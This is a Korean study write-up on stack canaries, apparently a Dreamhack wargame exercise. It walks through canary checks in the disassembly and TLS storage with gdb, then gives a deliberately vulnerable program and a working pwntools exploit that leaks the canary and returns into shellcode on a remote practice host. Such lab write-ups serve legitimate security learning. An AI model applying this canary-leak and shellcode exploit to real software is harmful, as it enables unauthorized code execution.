Stack Canary란?
함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법
2.1. Code
- dreamhack 제공 코드
#include <unistd.h> int main() { char buf[8]; read(0, buf, 32); return 0; }
- complie
2.2. canary 적용 확인
- <main+8> : rax = fs:0x28 //fs:0x28에는 canary 상수 값이 저장되어 있음) - <main+17> : [rbp-0x8] = rax - <main+50> : rdx = [rbp-0x8] // canary 값 rdx에 저장 - <main+54> : rdx - fs:0x28 // rdx - canary - <main+63> : if(rdx - fs:0x28 == 0){jump <main+70>} // 아니면 계속 진행 - <main+65> : call < __stack_chk_fail@plt > // stack check fail
- 먼저 알아야 될 지식!!!
TLS란? - thread의 저장 공간(thread의 전역 변수를 저장하기 위한 공간으로 Loader에 의해서 할당)을 의미 - 프로세스 실행에 필요한 여러 데이터가 저장됨 - init_tls(): TLS 영역 할당 및 초기화
3.1. fs:0x28 확인 하기
- fs의 값을 설정할 때 호출되는 arch_prctl 시스템 콜에 중단점을 설정하여 fs가 어떤 값으로 설정되는지 알수 있다.
- init_tls()안에서 멈춤
- RDI(0x1002): ARCH_SET_FS (프로세스의 FS 세그먼트 레지스터를 초기화하는 작업을 수행하는 명령)
- RSI(0x7ffff7dc9740): fs가 가리킬 주소
- fs:0x28은 아직 값이 없음
- fs:0x28에 값이 쓰여질 때 확인되도록 watch 명령어로 point 설정
- fs:0x28에 쓰여진 값 = canary
4.1. TLS 접근
카나리는 TLS에 전역변수로 저장되며, 매 함수마다 이를 참조한다. TLS의 주소를 알 수 있다면 카나리 값을 읽거나 조작할 수 있다.
4.2. 실습코드
// dreamhack 문제 // Name: r2s.c // Compile: gcc -o r2s r2s.c -zexecstack #include <stdio.h> #include <unistd.h> int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); // buf 주소 확인 printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); // 시나리오 read(0, buf, 0x100); // 1.overflow 시켜서 NULL byte 지우기 -> canary leak printf("Your input is '%s'\n", buf); puts("[2] Overwrite the return address"); printf("Input: "); // 2. canary 포함시켜 buf로 return fflush(stdout); gets(buf); return 0; }
4.2. buf 계산 (문제에선 주어졌지만 공부할 겸 직접 계산함)
- read 함수 호출 부분: buf=[rbp-0x60] = 0x7fffffffe190
- canary 주소: [rbp-0x8] = 0x7fffffffe1e8
- buf_size = 88
- 88+1 = Null byte 삭제
4.3. exploit code
from pwn import * def slog(n, m): return success(': '.join([n, hex(m)])) context.arch = 'amd64' p = remote("host3.dreamhack.games", 22017) payload = b"A"*89 p.recvuntil(b'buf: ') buf = int(p.recvline(7), 16) slog("buf: ", buf) p.sendafter(b'Input:', payload) p.recvuntil(payload) c = u64(b'\x00'+p.recvn(7)) slog('canary:', c) sh = asm(shellcraft.sh()) payload = sh.ljust(88, b'A') + p64(c) + b'B'*0x8 + p64(buf) print(payload) p.sendlineafter(b"Input:", payload) p.interactive()
4.4. 결과
- 성공